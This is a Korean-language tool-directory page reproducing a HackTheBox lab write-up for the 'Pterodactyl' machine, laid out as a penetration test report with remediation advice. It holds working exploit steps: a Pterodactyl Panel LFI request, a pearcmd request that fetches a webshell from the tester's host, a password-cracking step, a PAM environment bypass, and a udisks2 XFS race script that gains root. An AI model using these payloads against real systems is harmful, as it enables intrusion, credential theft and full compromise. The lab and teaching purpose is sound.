Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HTB-Pterodactyl-Writeup — HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included. | Kitploit
도구/GitHubGitHub/v0idw1re/htb-pterodactyl-writeup
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationCTF

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Penetration Testing
Learning & Education
Labs & Practice
GitHubv0idw1re/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.

저장소 보기
4개월 전아직 검토되지 않음

침투 테스트 보고서 — HackTheBox: Pterodactyl

날짜: 2026년 4월 8일
대상: Pterodactyl (HackTheBox)
난이도: 중간
OS: Linux (openSUSE Leap 15.6)
테스터: V0idW1re


요약

HackTheBox의 Pterodactyl 머신은 잘못 구성된 웹 애플리케이션과 연쇄적인 권한 상승 취약점을 포함한 현실적인 공격 시나리오를 제시했습니다. 인증되지 않은 상태에서 시작하여, 테스터는 논리적인 익스플로잇 단계를 통해 전체 루트 권한을 획득했습니다. 공격 체인에는 인증되지 않은 로컬 파일 포함 취약점, PHP 패키지 관리자를 창의적으로 악용한 원격 코드 실행, 자격 증명 추출 및 크래킹, 그리고 마지막으로 두 개의 공개된 CVE를 연쇄적으로 사용하여 낮은 권한의 사용자에서 루트로 권한 상승하는 과정이 포함되었습니다.


범위

필드값
대상 IP10.129.25.223
호스트명pterodactyl.htb
OSopenSUSE Leap 15.6
서비스SSH (22), HTTP (80)
서브도메인panel.pterodactyl.htb

방법론

평가는 표준 침투 테스트 방법론을 따랐습니다:

  1. 정찰 및 서비스 열거
  2. 웹 애플리케이션 분석
  3. 초기 익스플로잇
  4. 사후 익스플로잇 및 측면 이동
  5. 권한 상승
  6. 침해 증거

발견 사항

발견 1 — 인증되지 않은 로컬 파일 포함 (CVE-2025-49132)

심각도: 심각
구성 요소: Pterodactyl Panel v1.11.10 — /locales/locale.json 엔드포인트

설명:
Pterodactyl Panel의 로케일 엔드포인트는 locale 및 namespace 쿼리 매개변수를 적절히 검증하지 않아 디렉터리 트래버설이 가능했습니다. 애플리케이션이 네임스페이스 값에 .php를 추가하고 PHP의 include 메커니즘을 통해 로드했기 때문에, 공격자는 서버가 파일 시스템 상의 임의의 PHP 파일을 로드하고 실행하도록 강제할 수 있었습니다.

익스플로잇:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

영향:
데이터베이스 자격 증명이 config/database.php에서 추출되었습니다:

  • 사용자명: pterodactyl
  • 비밀번호: PteraPanel
  • 데이터베이스: panel

Laravel 애플리케이션 키도 config/app.php에서 추출되었습니다.

증거:

root@kitploit:~
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

발견 2 — pearcmd.php를 통한 원격 코드 실행

심각도: 심각
구성 요소: PHP PEAR 설치 + LFI

설명:
LFI 프리미티브가 확립된 상태에서, 테스터는 PEAR 패키지 관리자의 pearcmd.php 스크립트를 활용했습니다. PHP 구성에 register_argc_argv=On이 설정되어 있으면(phpinfo를 통해 확인), 쿼리 문자열이 pearcmd에 의해 명령줄 인수로 구문 분석됩니다. download 명령을 사용하여 공격자 서버에서 PHP 웹셸을 가져와 패널의 공개 웹 디렉터리에 저장했습니다.

익스플로잇:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

영향:
PHP 웹셸이 /var/www/pterodactyl/public/shell.php에 작성되어, wwwrun 사용자로 인증되지 않은 원격 코드 실행이 가능해졌습니다.

증거:

root@kitploit:~
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

발견 3 — 평문 데이터베이스 자격 증명 및 취약한 암호 저장

심각도: 높음
구성 요소: MySQL 패널 데이터베이스

설명:
RCE 셸을 사용하여 테스터는 LFI를 통해 얻은 자격 증명으로 MySQL 데이터베이스에 연결했습니다. users 테이블에는 모든 패널 사용자에 대한 bcrypt 해시 암호가 포함되어 있었습니다. 사용자 phileasfogg3의 해시는 일반적인 단어 목록을 사용하여 오프라인에서 크래킹되었습니다.

익스플로잇:

root@kitploit:~
SELECT username, password FROM users;

크래킹된 자격 증명:

  • 사용자명: phileasfogg3
  • 비밀번호: !QAZ2wsx

영향:
phileasfogg3으로 SSH 액세스가 획득되었고, 사용자 플래그가 캡처되었습니다:

root@kitploit:~
user.txt: 916235b4261e70fdb090402c641a7808

발견 4 — PAM 환경 권한 우회 (CVE-2025-6018)

심각도: 높음
구성 요소: PAM 구성 — pam_env.so 및 user_readenv=1

설명:
openSUSE Leap 15.6의 PAM 구성은 user_readenv=1로 설정된 pam_env.so를 통해 사용자의 ~/.pam_environment 파일을 소싱합니다. 이 파일에 특정 환경 변수를 설정함으로써, 권한이 없는 SSH 사용자가 systemd-logind 및 Polkit을 속여 해당 세션이 활성 물리적 콘솔 세션인 것처럼 믿게 하여 allow_active 권한을 얻을 수 있습니다.

익스플로잇:

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

SSH로 다시 연결한 후 세션이 Active=yes로 인식되어, 일반적으로 물리적 콘솔이 있어야 가능한 udisks2 D-Bus 메서드를 권한 없이 호출할 수 있게 되었습니다.

증거:

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt

발견 5 — udisks2 XFS 리사이즈 경쟁 조건 (CVE-2025-6019)

심각도: 심각
구성 요소: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

설명:
udisks2가 libblockdev를 통해 XFS 파일 시스템을 리사이즈할 때, 임시로 파일 시스템 이미지를 /tmp/blockdev.* 아래의 세계에서 접근 가능한 디렉터리에 nosuid 및 nodev 마운트 플래그 없이 마운트합니다. 이로 인해 짧은 경쟁 조건 창이 생성되어 이미지에 존재하는 모든 SUID 바이너리가 상승된 유효 UID로 실행될 수 있습니다.

allow_active Polkit 권한(CVE-2025-6018을 통해 획득)을 가진 공격자는 다음을 수행할 수 있습니다:

  1. 루트 소유의 SUID bash 바이너리를 포함하는 XFS 이미지 생성
  2. udisksctl loop-setup을 통해 루프 장치 설정
  3. D-Bus를 통해 리사이즈 트리거
  4. 임시 nosuid 없는 마운트 창 동안 SUID 바이너리 실행 경쟁

XFS 이미지 호환성에 관한 중요 참고 사항:
openSUSE Leap 15.6(SP5/SP6)의 경우 특정 플래그로 XFS 이미지를 생성해야 합니다:

root@kitploit:~
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

익스플로잇:

root@kitploit:~
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

증거:

root@kitploit:~
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

루트 플래그:

root@kitploit:~
root.txt: d3a242011c18cb81f08ad80337330641

액세스 증명

플래그값
user.txt916235b4261e70fdb090402c641a7808
root.txtd3a242011c18cb81f08ad80337330641

권한 상승 요약

root@kitploit:~
[Unauthenticated]
    ↓ CVE-2025-49132 (LFI)
[Database Credentials]
    ↓ pearcmd RCE
[wwwrun shell]
    ↓ MySQL credential dump + hash crack
[phileasfogg3 SSH]
    ↓ CVE-2025-6018 (PAM bypass → allow_active)
    ↓ CVE-2025-6019 (udisks2 XFS resize race)
[root]

영향

대상 시스템의 완전한 침해. 이 수준의 액세스 권한을 가진 공격자는 다음을 수행할 수 있습니다:

  • 시스템의 모든 파일 읽기, 수정 또는 삭제
  • 지속적인 백도어 또는 악성 코드 설치
  • 네트워크의 다른 시스템으로 피벗
  • 저장된 모든 자격 증명 및 민감한 데이터에 접근
  • 호스팅된 서비스를 방해하거나 조작

수정 조치


이 보고서는 HackTheBox 랩 실습의 일부로 교육 목적으로 작성되었습니다. 모든 테스트는 합법적이고 격리된 랩 환경에서 수행되었습니다.

도구 다운로드
발견 사항수정 조치
CVE-2025-49132 (LFI)Pterodactyl Panel을 v1.11.11 이상으로 업그레이드하여 locale/namespace 매개변수에 대해 엄격한 영숫자 검증을 적용
pearcmd RCEphp.ini에서 register_argc_argv=Off 설정; 필요하지 않으면 PEAR 제거
취약한 암호강력한 암호 정책 시행; 암호 관리자 사용
CVE-2025-6018 (PAM)PAM 구성에서 pam_env.so에 대해 user_readenv=0 설정
CVE-2025-6019 (udisks2)udisks2 및 libblockdev를 패치된 버전으로 업그레이드; org.freedesktop.udisks2.modify-device에 대한 Polkit 규칙 수정하여 allow_active를 yes에서 auth_admin으로 변경